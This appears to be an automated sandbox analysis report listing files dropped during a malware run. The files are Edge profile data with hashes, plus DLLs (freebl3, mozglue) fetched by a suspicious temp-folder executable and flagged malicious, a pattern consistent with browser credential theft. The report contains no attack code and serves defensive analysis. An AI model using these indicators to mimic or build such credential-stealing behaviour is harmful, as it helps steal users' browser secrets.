Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5c0c0cb2-fb7e-498f-ad7d-9772e0c9c6e8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089730318162959
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWWdi1zNtPMNkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yne6kzItSmd6qE7lFoC
MD5:	76F025DFC38370A3D44FBB2AFDE7E822
SHA1:	B4C2E42CA6CDD75E6F40FBF916861E42ED1B3FE5
SHA-256:	C49F6871385F9CA7794D03673AC1E086DD7B944BB7D6B7F716F329A4FC8CE391
SHA-512:	C86F312F12AAAA0BB8EDF8B1A141A4F0F6CBB539FF98976591EFA8B28018BBF9371FEB72C55561771A70641859255E0635EE1FB65AD93D15327D5A8F313D722F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9f5cd89e-67e8-4e60-949b-f288735f63e0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44925
Entropy (8bit):	6.0946074516512105
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAoi1zNtW69S/8fQtFEKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynl1KtSmd6qE7lFoC
MD5:	EF41072044C8311DCD67E19DCA02B19E
SHA1:	AAFE7D76015AEC7E977E876770574013933C022A
SHA-256:	CFE5B447C05995C1BF210A33954916C9A8DAFD6832485575F4B63E58EEBC023A
SHA-512:	57FB73D752C401DD8DD463CF96F057D43E7BA21C6F315BA5CD00ED8CD94CEDE6B4290E4E728C454D9146680D90098F282BC244ACC7BFE0C1158A672BA4FC67A7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67613FBD-424.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0466704903711028
Encrypted:	false
SSDEEP:	192:+05b0m5tmjnOAt6YCwJgA8x5XSggykfhbNNET7I1/ERQcUdBvfTrComln8y08Tcp:hF0UtIcwgk9hZRYIdlvCoy08T2RGOD
MD5:	08229B4C01E8D9EFE33910BD26ACD366
SHA1:	E15B0018E0F07ADA2EC5B05DBD748ED1357D4AB9
SHA-256:	BDAF9DC2DD6EC95C41861BB7FDAA1562E09D9D6F0B6AB01EE0CBFAA768CEE9BA
SHA-512:	E87AE54DCE282EB4DDB4C9AEA37EB9F6DA583BF68722B7EB26BAF65826D7C782F2A5C8CC22C513BE5EA53A1FDF709CBFFEFFD9C3A93A0E44EB6EB668AA3440D3
Malicious:	false
Preview:	...@..@...@.....C.].....@................e...U..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".mighfc20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2........6...... .2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089730318162959
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWWdi1zNtPMNkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yne6kzItSmd6qE7lFoC
MD5:	76F025DFC38370A3D44FBB2AFDE7E822
SHA1:	B4C2E42CA6CDD75E6F40FBF916861E42ED1B3FE5
SHA-256:	C49F6871385F9CA7794D03673AC1E086DD7B944BB7D6B7F716F329A4FC8CE391
SHA-512:	C86F312F12AAAA0BB8EDF8B1A141A4F0F6CBB539FF98976591EFA8B28018BBF9371FEB72C55561771A70641859255E0635EE1FB65AD93D15327D5A8F313D722F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF42da4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089730318162959
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWWdi1zNtPMNkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yne6kzItSmd6qE7lFoC
MD5:	76F025DFC38370A3D44FBB2AFDE7E822
SHA1:	B4C2E42CA6CDD75E6F40FBF916861E42ED1B3FE5
SHA-256:	C49F6871385F9CA7794D03673AC1E086DD7B944BB7D6B7F716F329A4FC8CE391
SHA-512:	C86F312F12AAAA0BB8EDF8B1A141A4F0F6CBB539FF98976591EFA8B28018BBF9371FEB72C55561771A70641859255E0635EE1FB65AD93D15327D5A8F313D722F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF42db3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089730318162959
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWWdi1zNtPMNkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yne6kzItSmd6qE7lFoC
MD5:	76F025DFC38370A3D44FBB2AFDE7E822
SHA1:	B4C2E42CA6CDD75E6F40FBF916861E42ED1B3FE5
SHA-256:	C49F6871385F9CA7794D03673AC1E086DD7B944BB7D6B7F716F329A4FC8CE391
SHA-512:	C86F312F12AAAA0BB8EDF8B1A141A4F0F6CBB539FF98976591EFA8B28018BBF9371FEB72C55561771A70641859255E0635EE1FB65AD93D15327D5A8F313D722F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF44022.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089730318162959
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWWdi1zNtPMNkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yne6kzItSmd6qE7lFoC
MD5:	76F025DFC38370A3D44FBB2AFDE7E822
SHA1:	B4C2E42CA6CDD75E6F40FBF916861E42ED1B3FE5
SHA-256:	C49F6871385F9CA7794D03673AC1E086DD7B944BB7D6B7F716F329A4FC8CE391
SHA-512:	C86F312F12AAAA0BB8EDF8B1A141A4F0F6CBB539FF98976591EFA8B28018BBF9371FEB72C55561771A70641859255E0635EE1FB65AD93D15327D5A8F313D722F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF44032.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089730318162959
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWWdi1zNtPMNkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yne6kzItSmd6qE7lFoC
MD5:	76F025DFC38370A3D44FBB2AFDE7E822
SHA1:	B4C2E42CA6CDD75E6F40FBF916861E42ED1B3FE5
SHA-256:	C49F6871385F9CA7794D03673AC1E086DD7B944BB7D6B7F716F329A4FC8CE391
SHA-512:	C86F312F12AAAA0BB8EDF8B1A141A4F0F6CBB539FF98976591EFA8B28018BBF9371FEB72C55561771A70641859255E0635EE1FB65AD93D15327D5A8F313D722F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQp:YQ3Kq9X0dMgAEiLIj
MD5:	8549C255650427D618EF18B14DFD2B56
SHA1:	8272585186777B344DB3960DF62B00F570D247F6
SHA-256:	40395D9CA4B65D48DEAC792844A77D4F8051F1CEF30DF561DACFEEED3C3BAE13
SHA-512:	E5BB8A0AD338372635C3629E306604E3DC5A5C26FB5547A3DD7E404E5261630612C07326E7EBF5B47ABAFADE8E555965A1A59A1EECFC496DCDD5003048898A8C
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a5626bfc-1506-4012-8710-4f2bc3f9fca5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44902
Entropy (8bit):	6.095036561525209
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWyoi1zNtW6Nx9CFFNfKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynluKtSmd6qE7lFoC
MD5:	087CC75672713F645D83C4A95B42292B
SHA1:	68F0B95F1675A0FD56B4D93096ECBDAFFEADCFAF
SHA-256:	B9BEA1398111E76129CD5D2BF5B2AF2C3D347AD8CAB6DF1BD23B8A7ABB4B1C45
SHA-512:	665D319B8208E2B564855E0A0E907800887BD552EDED73B4E1D71EC2BE26396C2425D943E34F0CD8E30A7576082EB83A9438063D88D176AC2E99F37ACDA80D1C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe
